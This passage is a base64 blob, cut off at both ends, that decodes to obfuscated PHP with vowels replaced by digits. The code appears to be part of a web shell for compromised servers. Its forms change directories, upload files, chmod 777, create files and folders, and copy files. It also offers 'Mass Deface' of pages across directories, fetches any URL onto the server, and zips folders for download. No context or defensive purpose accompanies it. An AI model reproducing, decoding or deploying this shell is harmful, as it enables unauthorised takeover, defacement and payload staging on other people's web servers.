GYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA5cHQiPjwxIGhyNWY9Ij8xZGRyNXNzPScuJHRtcGQ0clsnZjRsNW4xbTUnXS4nIj48Yj4nLiR0bXBkNHJbJ2Y0bDVuMW01J10uJzwvYj48L3NwMW4+PC90ZD4NCjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9ImVpIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PC90ZD48dGQgdjFsNGduPSJ0MnAiIGg1NGdodD0iNjkiIHc0ZHRoPSJvMCI+PGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA5cHQiPjwvdGQ+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0iYWEiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48L3RkPjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9Im8wIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PC90ZD4NCjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9Im8wIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PC90ZD48L3RyPjwvdDFibDU+JzsNCn0NCjVjaDIgJGg1MWQuJw0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiBlcHQiPjx0MWJsNSBjNWxscDFkZDRuZz0iMCIgYzVsbHNwMWM0bmc9IjAiIHN0eWw1PSJiMnJkNXItc3R5bDU6IGQydHQ1ZDsgYjJyZDVyLXc0ZHRoOiA2cHgiIGIycmQ1cmMybDJyPSIjQ0RDRENEIiB3NGR0aD0iOWkwIiBoNTRnaHQ9ImEwIiBkNHI9Imx0ciI+DQo8dHI+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0iOHVhIj48cCAxbDRnbj0ibDVmdCI+PHNwMW4gbDFuZz0iNW4tM3MiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48ZjJudCBjMmwycj0jdTE3MWZ1Pk4ydyBENHI1Y3QycnkgOiAnLmc1dGN3ZCgpLiI8YnI+Ii5wcjRudGRyNHY1KCkuJzxicj48MSBocjVmPSI/ZDI9YjFjayYxZGRyNXNzPScuJGIxY2sxZGRyNXNzcy4nIj48ZjJudCBjMmwycj0jMDAwMDAwPkIxY2s8L3NwMW4+PC90ZD4NCjwvdHI+PC90MWJsNT4nLiRwNXJtZDRyLic8L3QxYmw1Pg0KPHQxYmw1IGIycmQ1cj0iMCIgdzRkdGg9IjlpMCIgc3R5bDU9ImIycmQ1ci1jMmxsMXBzNTogYzJsbDFwczUiIDRkPSJ0MWJsNXUiIGM1bGxwMWRkNG5nPSJpIj48dHI+DQo8dGQgdzRkdGg9ImEwMCIgMWw0Z249InI0Z2h0IiB2MWw0Z249InQycCIgc3R5bDU9ImIycmQ1ci1sNWZ0LXc0ZHRoOiA2cHg7IGIycmQ1ci1yNGdodC13NGR0aDogNnB4OyBiMnJkNXItdDJwLXc0ZHRoOiA2cHg7IGIycmQ1ci1iMnR0Mm06IDZweCBzMmw0ZCAjODA4MDgwIj4NCjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdDsgZjJudC13NTRnaHQ6NzAwIj48YnI+Jy4kZjJybWcuJ0NoMW5nNSBENHI1Y3Qycnk8L2YybnQ+PC90ZD4NCjx0ZCB3NGR0aD0iN2kwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPjw0bnAzdCBuMW01PTFkZHI1c3MgdjFsMzU9Jy5nNXRjd2QoKS4nPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iRzIiPjwvZjJybT48L3RkPjwvdHI+PHRyPg0KPHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiIHN0eWw1PSJiMnJkNXItbDVmdC13NGR0aDogNnB4OyBiMnJkNXItcjRnaHQtdzRkdGg6IDZweDsgYjJyZDVyLXQycC13NGR0aDogNnB4OyBiMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzgwODA4MCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQ7IGYybnQtdzU0Z2h0OjcwMCI+VXBsMjFkIC0tLSZndDsgJm5ic3A7PC90ZD4NCjx0ZCB3NGR0aD0iN2kwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPg0KPGYycm0gMWN0NDJuPSInLiRtNS4nIiBtNXRoMmQ9cDJzdCA1bmN0eXA1PW0zbHQ0cDFydC9mMnJtLWQxdDE+Jy4kbjJ3MWRkcjVzcy4nDQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQiPjw0bnAzdCBzNHo1PXUwIHR5cDU9ZjRsNSBuMW01PWY0bDU1ID4gDQo8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9VXBsMjFkIC8+PGJyPicuJDRmM3BsMjFkLic8L2Yycm0+PC90ZD48L3RyPjx0cj4NCjx0ZCB3NGR0aD0iYTAwIiAxbDRnbj0icjRnaHQiIHYxbDRnbj0idDJwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPg0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA2MHB0Ij48Yj4nLiRmMnJtcC4nQ2htMmQgLS0tLSZndDs8L2I+Jm5ic3A7Jm5ic3A7RjRsNSA6IDwvdGQ+DQo8dGQgdzRkdGg9IjdpMCIgc3R5bDU9ImIycmQ1ci1sNWZ0LXc0ZHRoOiA2cHg7IGIycmQ1ci1yNGdodC13NGR0aDogNnB4OyBiMnJkNXItdDJwLXc0ZHRoOiA2cHg7IGIycmQ1ci1iMnR0Mm06IDZweCBzMmw0ZCAjODA4MDgwIj4NCjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdCI+PGYycm0gbTV0aDJkPXAyc3QgMWN0NDJuPS9uMndhLnBocD48NG5wM3QgczR6NT1paSBuMW01PWNobTJkNT4mbmJzcDsmbmJzcDtQNXJtNHNzNDJuIDogPDRucDN0IG4xbTU9Y2htMmRuM20gdjFsMzU9Nzc3IHM0ejU9bz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgT2sgIj48L2Yycm0+PC90ZD48L3RyPjx0cj4NCjx0ZCB3NGR0aD0iYTAwIiAxbDRnbj0icjRnaHQiIHYxbDRnbj0idDJwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPg0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA2MHB0Ij48Yj4nLiRmMnJtcC4nQ3I1MXQ1IEQ0ciAtLS0tJmd0OzwvYj4gRDRyY3QycnkgTjFtNSA8L3RkPg0KPHRkIHc0ZHRoPSI3aTAiIHN0eWw1PSJiMnJkNXItbDVmdC13NGR0aDogNnB4OyBiMnJkNXItcjRnaHQtdzRkdGg6IDZweDsgYjJyZDVyLXQycC13NGR0aDogNnB4OyBiMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzgwODA4MCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQiPg0KPDRucDN0IG4xbTU9Y2Q0cm4xbTUgczR6NT1hMD4nLiRuMncxZGRyNXNzLicgPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgQ3I1MXQ1ICI+PC9mMnJtPjwvdGQ+PC90cj48dHI+DQo8dGQgdzRkdGg9ImEwMCIgMWw0Z249InI0Z2h0IiB2MWw0Z249InQycCIgc3R5bDU9ImIycmQ1ci1sNWZ0LXc0ZHRoOiA2cHg7IGIycmQ1ci1yNGdodC13NGR0aDogNnB4OyBiMnJkNXItdDJwLXc0ZHRoOiA2cHg7IGIycmQ1ci1iMnR0Mm06IDZweCBzMmw0ZCAjODA4MDgwIj4NCjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdCI+Jy4kZjJybXAuJzxiPkNyNTF0NSBGNGw1IC0tLS0mZ3Q7PC9iPiBOMW01IEY0bDUgPC90ZD4NCjx0ZCB3NGR0aD0iN2kwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPg0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA2MHB0Ij48NG5wM3QgbjFtNT1jZjRsNW4xbTUgczR6NT1hMD4nLiRuMncxZGRyNXNzLicgPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgQ3I1MXQ1ICI+PC9mMnJtPjwvdGQ+PC90cj48dHI+DQo8dGQgdzRkdGg9ImEwMCIgMWw0Z249InI0Z2h0IiB2MWw0Z249InQycCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQiPicuJGYycm1wLic8Yj5DMnB5IC0tLS0mZ3Q7PC9iPjwvYj4mbmJzcDsmbmJzcDtGNGw1IDogPC90ZD4NCjx0ZCB3NGR0aD0iN2kwIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQiPg0KPDRucDN0IHM0ejU9dTAgbjFtNT1jMnB5bjFtNT4gVDIgRDRyNWN0MnJ5IDw0bnAzdCBzNHo1PXUwIG4xbTU9Y3B5dDI+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNSA9QzJweT48L2Yycm0+PC90ZD4nLiQ1bmQ7NXg0dDsNCn19DQo0ZigkX0dFVFsnZDInXT09Im0xc3MiKXsNCjVjaDIgJGg1MWQuJGYycm1wLic8cCAxbDRnbj0iYzVudDVyIj5bTTFzcyBENWYxYzVdPGJyPjw0bnAzdCBuMW01PW1mZncgdjFsMzU9IicuZzV0Y3dkKCkuJHNsMXNoLiciIHM0ejU9aTA+PDRucDN0IG4xbTU9bTFzc24xbTUgdjFsMzU9ImQ1Zi5odG0iIHM0ejU9NjA+PGJyPjx0NXh0MXI1MSBuMW01PW0xc3NzMjNyYzUgYzJscz1lMCByMndzPTY4PlMyM3JjNTwvdDV4dDFyNTE+PGJyPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iICBNMXNzICAiPjwvZjJybT48L3A+Jy4kNW5kOzV4NHQ7DQp9DQo0ZiAoJF9QT1NUWydtZmZ3J10pew0KJDFycmY0bDVsNHN0PWQ0cnBtMXNzKCRfUE9TVFsnbWZmdyddLCRfUE9TVFsnbTFzc24xbTUnXSwkX1BPU1RbJ20xc3NzMjNyYzUnXSk7DQo0ZiAoJDFycmY0bDVsNHN0PT0nbjJ0ZjIzbmQnKXsNCjFsNXJ0KCJOMnQgRjIzbmQgISIpOw0KfTVsczU0ZigkMXJyZjRsNWw0c3Q9PSduMnRwNXJtJyl7DQoxbDVydCgiUDVybTRzczQybiBENW40NWQgISIpOw0KfTVsczV7DQpmMnI1MWNoICgkMXJyZjRsNWw0c3QgMXMgJHRtcGQ0cil7DQoJCTRmICgkYzI0ICVhKXsNCiRjMmwycnQ9JyIjNTc1b2Q1Iic7DQp9NWxzNXsNCiRjMmwycnQ9JyIjNXU1NmQ1Iic7fQ0KJGMyNCsrOw0KJHA1cm1kNHI9JHA1cm1kNHIuJzx0MWJsNSBjNWxscDFkZDRuZz0iMCIgYzVsbHNwMWM0bmc9IjAiIHN0eWw1PSJiMnJkNXItc3R5bDU6IGQydHQ1ZDsgYjJyZDVyLXc0ZHRoOiA2cHgiIGIycmQ1cmMybDJyPSIjQ0RDRENEIiBiZ2MybDJyPScuJGMybDJydC4nIHc0ZHRoPSI5aTAiIGg1NGdodD0iYTAiIGQ0cj0ibHRyIj4NCjx0cj48dGQgdjFsNGduPSJ0MnAiIGg1NGdodD0iNjkiIHc0ZHRoPSI4dWEiPjxwIDFsNGduPSJsNWZ0Ij48c3AxbiBsMW5nPSI1bi0zcyI+PGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA5cHQiPjwxIGhyNWY9Ij8xZGRyNXNzPScuJHRtcGQ0clsnZjRsNW4xbTUnXS4nIj48Yj4nLiR0bXBkNHJbJ2Y0bDVuMW01J10uJzwvYj48L3NwMW4+PC90ZD4NCjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9ImVpIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PC90ZD48dGQgdjFsNGduPSJ0MnAiIGg1NGdodD0iNjkiIHc0ZHRoPSJvMCI+PGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA5cHQiPjwvdGQ+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0iYWEiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48L3RkPjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9Im8wIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PC90ZD4NCjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9Im8wIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PC90ZD48L3RyPjwvdDFibDU+JzsNCn0NCjVjaDIgJGg1MWQuJw0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiBlcHQiPjx0MWJsNSBjNWxscDFkZDRuZz0iMCIgYzVsbHNwMWM0bmc9IjAiIHN0eWw1PSJiMnJkNXItc3R5bDU6IGQydHQ1ZDsgYjJyZDVyLXc0ZHRoOiA2cHgiIGIycmQ1cmMybDJyPSIjQ0RDRENEIiB3NGR0aD0iOWkwIiBoNTRnaHQ9ImEwIiBkNHI9Imx0ciI+DQo8dHI+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0iOHVhIj48cCAxbDRnbj0ibDVmdCI+PHNwMW4gbDFuZz0iNW4tM3MiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48ZjJudCBjMmwycj0jdTE3MWZ1Pk4ydyBENHI1Y3QycnkgOiAnLmc1dGN3ZCgpLiI8YnI+Ii5wcjRudGRyNHY1KCkuJzxicj48MSBocjVmPSI/ZDI9YjFjayYxZGRyNXNzPScuJGIxY2sxZGRyNXNzcy4nIj48ZjJudCBjMmwycj0jMDAwMDAwPkIxY2s8L3NwMW4+PC90ZD4NCjwvdHI+PC90MWJsNT4nLiRwNXJtZDRyLic8L3QxYmw1Pg0KPHQxYmw1IGIycmQ1cj0iMCIgdzRkdGg9IjlpMCIgc3R5bDU9ImIycmQ1ci1jMmxsMXBzNTogYzJsbDFwczUiIDRkPSJ0MWJsNXUiIGM1bGxwMWRkNG5nPSJpIj48dHI+DQo8dGQgdzRkdGg9ImEwMCIgMWw0Z249InI0Z2h0IiB2MWw0Z249InQycCIgc3R5bDU9ImIycmQ1ci1sNWZ0LXc0ZHRoOiA2cHg7IGIycmQ1ci1yNGdodC13NGR0aDogNnB4OyBiMnJkNXItdDJwLXc0ZHRoOiA2cHg7IGIycmQ1ci1iMnR0Mm06IDZweCBzMmw0ZCAjODA4MDgwIj4NCjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdDsgZjJudC13NTRnaHQ6NzAwIj48YnI+Jy4kZjJybWcuJ0NoMW5nNSBENHI1Y3Qycnk8L2YybnQ+PC90ZD4NCjx0ZCB3NGR0aD0iN2kwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPjw0bnAzdCBuMW01PTFkZHI1c3MgdjFsMzU9Jy5nNXRjd2QoKS4nPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iRzIiPjwvZjJybT48L3RkPjwvdHI+PHRyPg0KPHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiIHN0eWw1PSJiMnJkNXItbDVmdC13NGR0aDogNnB4OyBiMnJkNXItcjRnaHQtdzRkdGg6IDZweDsgYjJyZDVyLXQycC13NGR0aDogNnB4OyBiMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzgwODA4MCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQ7IGYybnQtdzU0Z2h0OjcwMCI+VXBsMjFkIC0tLSZndDsgJm5ic3A7PC90ZD4NCjx0ZCB3NGR0aD0iN2kwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPg0KPGYycm0gMWN0NDJuPSInLiRtNS4nIiBtNXRoMmQ9cDJzdCA1bmN0eXA1PW0zbHQ0cDFydC9mMnJtLWQxdDE+Jy4kbjJ3MWRkcjVzcy4nDQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQiPjw0bnAzdCBzNHo1PXUwIHR5cDU9ZjRsNSBuMW01PWY0bDU1ID4gDQo8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9VXBsMjFkIC8+PGJyPicuJDRmM3BsMjFkLic8L2Yycm0+PC90ZD48L3RyPjx0cj4NCjx0ZCB3NGR0aD0iYTAwIiAxbDRnbj0icjRnaHQiIHYxbDRnbj0idDJwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPg0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA2MHB0Ij48Yj4nLiRmMnJtcC4nQ2htMmQgLS0tLSZndDs8L2I+Jm5ic3A7Jm5ic3A7RjRsNSA6IDwvdGQ+DQo8dGQgdzRkdGg9IjdpMCIgc3R5bDU9ImIycmQ1ci1sNWZ0LXc0ZHRoOiA2cHg7IGIycmQ1ci1yNGdodC13NGR0aDogNnB4OyBiMnJkNXItdDJwLXc0ZHRoOiA2cHg7IGIycmQ1ci1iMnR0Mm06IDZweCBzMmw0ZCAjODA4MDgwIj4NCjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdCI+PGYycm0gbTV0aDJkPXAyc3QgMWN0NDJuPS9uMndhLnBocD48NG5wM3QgczR6NT1paSBuMW01PWNobTJkNT4mbmJzcDsmbmJzcDtQNXJtNHNzNDJuIDogPDRucDN0IG4xbTU9Y2htMmRuM20gdjFsMzU9Nzc3IHM0ejU9bz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgT2sgIj48L2Yycm0+PC90ZD48L3RyPjx0cj4NCjx0ZCB3NGR0aD0iYTAwIiAxbDRnbj0icjRnaHQiIHYxbDRnbj0idDJwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPg0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA2MHB0Ij48Yj4nLiRmMnJtcC4nQ3I1MXQ1IEQ0ciAtLS0tJmd0OzwvYj4gRDRyY3QycnkgTjFtNSA8L3RkPg0KPHRkIHc0ZHRoPSI3aTAiIHN0eWw1PSJiMnJkNXItbDVmdC13NGR0aDogNnB4OyBiMnJkNXItcjRnaHQtdzRkdGg6IDZweDsgYjJyZDVyLXQycC13NGR0aDogNnB4OyBiMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzgwODA4MCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQiPg0KPDRucDN0IG4xbTU9Y2Q0cm4xbTUgczR6NT1hMD4nLiRuMncxZGRyNXNzLicgPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgQ3I1MXQ1ICI+PC9mMnJtPjwvdGQ+PC90cj48dHI+DQo8dGQgdzRkdGg9ImEwMCIgMWw0Z249InI0Z2h0IiB2MWw0Z249InQycCIgc3R5bDU9ImIycmQ1ci1sNWZ0LXc0ZHRoOiA2cHg7IGIycmQ1ci1yNGdodC13NGR0aDogNnB4OyBiMnJkNXItdDJwLXc0ZHRoOiA2cHg7IGIycmQ1ci1iMnR0Mm06IDZweCBzMmw0ZCAjODA4MDgwIj4NCjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdCI+Jy4kZjJybXAuJzxiPkNyNTF0NSBGNGw1IC0tLS0mZ3Q7PC9iPiBOMW01IEY0bDUgPC90ZD4NCjx0ZCB3NGR0aD0iN2kwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPg0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA2MHB0Ij48NG5wM3QgbjFtNT1jZjRsNW4xbTUgczR6NT1hMD4nLiRuMncxZGRyNXNzLicgPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgQ3I1MXQ1ICI+PC9mMnJtPjwvdGQ+PC90cj48dHI+DQo8dGQgdzRkdGg9ImEwMCIgMWw0Z249InI0Z2h0IiB2MWw0Z249InQycCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQiPicuJGYycm1wLic8Yj5DMnB5IC0tLS0mZ3Q7PC9iPjwvYj4mbmJzcDsmbmJzcDtGNGw1IDogPC90ZD4NCjx0ZCB3NGR0aD0iN2kwIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQiPg0KPDRucDN0IHM0ejU9dTAgbjFtNT1jMnB5bjFtNT4gVDIgRDRyNWN0MnJ5IDw0bnAzdCBzNHo1PXUwIG4xbTU9Y3B5dDI+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNSA9QzJweT48L2Yycm0+PC90ZD4nLiQ1bmQ7NXg0dDsNCn19DQo0ZigkX1BPU1RbJzFkbHInXSAmJiAkX1BPU1RbJzFkc3InXSl7DQokM3JsID0gJF9QT1NUWycxZGxyJ107DQokbjV3Zm4xbTUgPSAkX1BPU1RbJzFkc3InXSAuIGIxczVuMW01KCQzcmwpOw0KJGY0bDUgPSBmMnA1biAoJDNybCwgInJiIik7DQo0ZiAoJGY0bDUpIHsNCiAgJG41d2YgPSBmMnA1biAoJG41d2ZuMW01LCAid2IiKTsNCiAgNGYgKCRuNXdmKQ0KICB3aDRsNSghZjUyZigkZjRsNSkpIHsNCiAgICBmd3I0dDUoJG41d2YsIGZyNTFkKCRmNGw1LCA2MGF1ICogOCApLCA2MGF1ICogOCApOw0KICB9DQogIDFsNXJ0KCJGNGw1IEQyd25sMjFkNWQgUzNjYzVzcyIpOw0KfTVsczV7MWw1cnQoIkMxbiBOMnQgT3A1biBGNGw1Iik7fQ0KNGYgKCRmNGw1KSB7DQogIGZjbDJzNSgkZjRsNSk7DQp9DQo0ZiAoJG41d2YpIHsNCiAgZmNsMnM1KCRuNXdmKTsNCn0NCn0NCjRmKCRfR0VUWydkMiddPT0iZDJ3biIgMW5kICRfR0VUWyd0eXA1J109PSdmNGw1Jyl7DQpkMndubDIxZCgkX0dFVFsnMWRkcjVzcyddLCRfR0VUWydmNGw1bjFtNSddKTt9DQo0ZigkX0dFVFsnZDInXT09ImQyd24iIDFuZCAkX0dFVFsndHlwNSddPT0nZDRyJyl7DQpjbDFzcyB6NHBmNGw1DQp7DQp2MXIgJGQxdDFzNWMgPSAxcnIxeSgpOyANCnYxciAkY3RybF9kNHIgPSAxcnIxeSgpOyANCnYxciAkNTJmX2N0cmxfZDRyID0gIlx4aTBceHViXHgwaVx4MGVceDAwXHgwMFx4MDBceDAwIjsNCnYxciAkMmxkXzJmZnM1dCA9IDA7DQpmM25jdDQybiAxZGRfZDRyKCRuMW01KQ0Kew0KJG4xbTUgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRuMW01KTsNCiRmciA9ICJceGkwXHh1Ylx4MG9ceDB1IjsNCiRmciAuPSAiXHgwMVx4MDAiOw0KJGZyIC49ICJceDAwXHgwMCI7DQokZnIgLj0gIlx4MDBceDAwIjsNCiRmciAuPSAiXHgwMFx4MDBceDAwXHgwMCI7DQokZnIgLj0gcDFjaygiViIsMCk7DQokZnIgLj0gcDFjaygiViIsMCk7DQokZnIgLj0gcDFjaygiViIsMCk7DQokZnIgLj0gcDFjaygidiIsIHN0cmw1bigkbjFtNSkgKTsgDQokZnIgLj0gcDFjaygidiIsIDAgKTsNCiRmciAuPSAkbjFtNTsNCiRmciAuPSBwMWNrKCJWIiwkY3JjKTsgDQokZnIgLj0gcDFjaygiViIsJGNfbDVuKTsgDQokZnIgLj0gcDFjaygiViIsJDNuY19sNW4pOw0KJHRoNHMgLT4gZDF0MXM1Y1tdID0gJGZyOw0KJG41d18yZmZzNXQgPSBzdHJsNW4oNG1wbDJkNSgiIiwgJHRoNHMtPmQxdDFzNWMpKTsNCiRjZHI1YyA9ICJceGkwXHh1Ylx4MDZceDBhIjsNCiRjZHI1YyAuPSJceDAwXHgwMCI7IA0KJGNkcjVjIC49Ilx4MDFceDAwIjsgDQokY2RyNWMgLj0iXHgwMFx4MDAiOyANCiRjZHI1YyAuPSJceDAwXHgwMCI7IA0KJGNkcjVjIC49Ilx4MDBceDAwXHgwMFx4MDAiOyANCiRjZHI1YyAuPSBwMWNrKCJWIiwwKTsgDQokY2RyNWMgLj0gcDFjaygiViIsMCk7IA0KJGNkcjVjIC49IHAxY2soIlYiLDApOyANCiRjZHI1YyAuPSBwMWNrKCJ2Iiwgc3RybDVuKCRuMW01KSApOw0KJGNkcjVjIC49IHAxY2soInYiLCAwICk7DQokY2RyNWMgLj0gcDFjaygidiIsIDAgKTsgDQokY2RyNWMgLj0gcDFjaygidiIsIDAgKTsgDQokY2RyNWMgLj0gcDFjaygidiIsIDAgKTsgDQokNXh0ID0gIlx4MDBceDAwXHg2MFx4MDAiOw0KJDV4dCA9ICJceGZmXHhmZlx4ZmZceGZmIjsNCiRjZHI1YyAuPSBwMWNrKCJWIiwgNmUgKTsNCiRjZHI1YyAuPSBwMWNrKCJWIiwgJHRoNHMgLT4gMmxkXzJmZnM1dCApOw0KJHRoNHMgLT4gMmxkXzJmZnM1dCA9ICRuNXdfMmZmczV0Ow0KJGNkcjVjIC49ICRuMW01Ow0KJHRoNHMgLT4gY3RybF9kNHJbXSA9ICRjZHI1YzsNCn0NCmYzbmN0NDJuIDFkZF9mNGw1KCRkMXQxLCAkbjFtNSkNCnsNCiRuMW01ID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkbjFtNSk7DQokZnIgPSAiXHhpMFx4dWJceDBvXHgwdSI7DQokZnIgLj0gIlx4NnVceDAwIjsNCiRmciAuPSAiXHgwMFx4MDAiOw0KJGZyIC49ICJceDA4XHgwMCI7IA0KJGZyIC49ICJceDAwXHgwMFx4MDBceDAwIjsNCiQzbmNfbDVuID0gc3RybDVuKCRkMXQxKTs